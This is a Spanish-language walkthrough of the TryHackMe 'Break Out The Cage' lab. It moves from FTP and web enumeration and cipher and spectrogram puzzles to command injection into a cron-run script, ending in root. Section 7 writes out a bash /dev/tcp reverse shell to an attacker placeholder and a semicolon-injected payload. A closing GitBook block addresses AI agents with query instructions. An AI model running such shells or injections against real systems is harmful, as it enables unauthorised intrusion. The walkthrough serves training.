> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/breakoutthecage.md).

# Break Out The Cage

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo.

```bash
sudo nmap -sC -sV -p- -T4 <IP>
```

**Resultados relevantes:**

![Nmap](/files/bXa4kb3WZazoMnxxRzPg)

| Puerto | Estado | Servicio | Version                    |
| ------ | ------ | -------- | -------------------------- |
| 21/tcp | open   | FTP      | vsftpd 3.0.3               |
| 22/tcp | open   | SSH      | OpenSSH 7.6p1 Ubuntu       |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.29 Ubuntu |

El punto mas interesante del escaneo es FTP, porque permite acceso anonimo y expone un archivo llamado `dad_tasks`.

***

## 2. Enumeracion FTP

Se accede al FTP con el usuario `anonymous`.

```bash
ftp <IP>
```

Dentro del directorio principal aparece el archivo `dad_tasks`.

```bash
ls -la
get dad_tasks
```

![FTP anonimo](/files/xytz6hwCAcUdkbpfkGsv)

Al revisar el contenido, se observa una cadena en Base64.

```bash
cat dad_tasks
```

![Contenido de dad\_tasks](/files/ofS00PDKhBPIzD9AimTj)

Se decodifica el contenido.

```bash
cat dad_tasks | base64 -d
```

![Base64 decoded](/files/475z7toKRIRfZlkCkjbM)

El resultado sigue sin ser texto claro, asi que se trata como un cifrado adicional. La pista para romperlo no esta en FTP, sino en la web.

***

## 3. Enumeracion Web

Se accede al servicio HTTP.

```
http://<IP>
```

La pagina principal esta centrada en Nicholas Cage, pero no entrega credenciales directamente. Se realiza fuzzing de directorios.

![Pagina principal](/files/02F71IWmcjdGW1hB9SjY)

```bash
gobuster dir -u http://<IP>/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt
```

![Gobuster](/files/eZghX7bmTsn8MnPbSvmm)

**Rutas interesantes:**

| Recurso       | Comentario         |
| ------------- | ------------------ |
| `/images/`    | Recursos estaticos |
| `/html/`      | Archivos HTML      |
| `/scripts/`   | Scripts del sitio  |
| `/contracts/` | Documentos         |
| `/auditions/` | Audio interesante  |

En `/auditions/` aparece un archivo de audio:

```
http://<IP>/auditions/must_practice_corrupt_file.mp3
```

Se descarga para analizarlo.

```bash
wget http://<IP>/auditions/must_practice_corrupt_file.mp3
```

***

## 4. Analisis del Audio

Al escuchar el archivo se nota una zona distorsionada. Al abrirlo en Audacity y cambiar la vista a espectrograma, aparece una palabra oculta: `namelesstwo`.

![Audio en Audacity](/files/CYwB7AFFUSWumHTVF4nJ)

![Clave en espectrograma](/files/dT2Siux6PBeP0TezxHpB)

Esa palabra se usa como clave para descifrar el texto obtenido de `dad_tasks` con Vigenere.

![Vigenere con namelesstwo](/files/OngCk1ttD3MR9IC3mlvv)

El mensaje descifrado contiene la password de `weston`:

```
Mydadisghostrideraintthatcoolnocausehesonfirejokes
```

***

## 5. Acceso SSH como weston

Con la password encontrada se accede por SSH.

```bash
ssh weston@<IP>
```

![SSH weston](/files/5Mahubcjtz2cz8j7BsmL)

Credenciales:

| Usuario  | Password                                             |
| -------- | ---------------------------------------------------- |
| `weston` | `Mydadisghostrideraintthatcoolnocausehesonfirejokes` |

Una vez dentro, se revisan los permisos de `sudo`.

```bash
sudo -l
```

El usuario puede ejecutar `/usr/bin/bees` como root.

![sudo -l weston](/files/aDRVyQpCmxtXkgAVhIUX)

```
(root) /usr/bin/bees
```

El binario realmente es un script sencillo que llama a `wall` para lanzar mensajes al sistema.

```bash
cat /usr/bin/bees
```

***

## 6. Enumeracion Local

Durante la sesion aparecen mensajes periodicos en la terminal. Buscando archivos relacionados con quotes se encuentra una ruta interesante en `/opt`.

![Directorio opt](/files/aVlmmHHsOomUoJBk3IBz)

```bash
find / -type f -name "*quote*" 2>/dev/null
```

Tambien se pueden buscar archivos propiedad del usuario `cage`.

```bash
find / -type f -user cage 2>/dev/null
```

Hallazgos:

```
/opt/.dads_scripts/spread_the_quotes.py
/opt/.dads_scripts/.files/.quotes
```

El script `spread_the_quotes.py` lee una linea aleatoria de `.quotes` y la concatena en una llamada a `os.system`.

![spread\_the\_quotes.py](/files/TDFQ1pGBlTR7R4OWQgmJ)

```python
lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
```

El problema es que `.quotes` puede modificarse, y su contenido termina ejecutandose dentro de un comando del sistema.

![Permisos de quotes](/files/H40BVuxVja7PHTZKYRoG)

***

## 7. Movimiento Lateral a cage

Se prepara una reverse shell en la maquina atacante.

```bash
nc -lvnp 9001
```

En la maquina victima se crea un payload y se fuerza su ejecucion desde `.quotes`.

```bash
cat > /tmp/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<IP_ATACANTE>/9001 0>&1
EOF

chmod +x /tmp/shell.sh
printf 'test;/tmp/shell.sh\n' > /opt/.dads_scripts/.files/.quotes
```

![Payload en quotes](/files/hDnMvgwD7hxr1At6kI1L)

Cuando el script programado vuelve a ejecutarse, entra una shell como `cage`.

![Shell como cage](/files/YcBu8L2kkw50WbJndxLb)

```bash
id
```

```
uid=1000(cage) gid=1000(cage)
```

En el home de `cage` aparece el archivo `Super_Duper_Checklist`, donde se encuentra la flag de usuario.

```bash
cat /home/cage/Super_Duper_Checklist
```

![Super Duper Checklist](/files/Sbto7X9Q6CqLBVs28Uky)

***

## 8. Enumeracion como cage

Dentro del home de `cage` se encuentra el directorio `email_backup`.

```bash
ls -la
cat email_backup/*
```

![Email backup cage](/files/GEYgp9J6ZUb2CBIFZyLY)

Los correos dan dos pistas importantes:

| Pista                              | Significado                |
| ---------------------------------- | -------------------------- |
| Sean podria usar el usuario `root` | Posible objetivo para `su` |
| Cadena `haiinspsyanileph`          | Texto cifrado              |
| Repeticion de la palabra `FACE`    | Posible clave del cifrado  |

La cadena `haiinspsyanileph` se descifra con Vigenere usando la clave `face`.

![Vigenere con FACE](/files/bW3pFIueMfqFV1Wjansi)

Resultado:

```
cageisnotalegend
```

***

## 9. Escalada a root

Se prueba la cadena descifrada como password de `root`.

```bash
su root
```

Password:

```
cageisnotalegend
```

El acceso funciona. La flag final se encuentra en el directorio de backups de correo de root.

```bash
cd /root/email_backup
ls -la
cat email_2
```

![Root flag](/files/4sPAx0YzeBrYVuKO1AVk)

***

## Resumen

| Paso | Tecnica                | Resultado                       |
| ---- | ---------------------- | ------------------------------- |
| 1    | Nmap                   | FTP, SSH y HTTP abiertos        |
| 2    | FTP anonimo            | Descarga de `dad_tasks`         |
| 3    | Base64                 | Primer decodificado del archivo |
| 4    | Espectrograma          | Clave `namelesstwo` recuperada  |
| 5    | Vigenere               | Password de `weston` encontrada |
| 6    | SSH                    | Acceso inicial como `weston`    |
| 7    | Cron/script vulnerable | Inyeccion en `.quotes`          |
| 8    | Reverse shell          | Movimiento lateral a `cage`     |
| 9    | Emails + Vigenere      | Password de `root` recuperada   |
| 10   | `su root`              | Compromiso total                |

***

## Conclusion

Break Out The Cage combina enumeracion clasica con pequenas piezas de criptografia y analisis de audio. El acceso inicial sale de un FTP anonimo que expone un archivo codificado, pero la clave real aparece en un espectrograma dentro de la web. Tras entrar como `weston`, la escalada lateral se consigue abusando de un script que concatena contenido controlable en `os.system`. Finalmente, los correos de `cage` dan la pista para descifrar la password de `root` con Vigenere.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/breakoutthecage.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
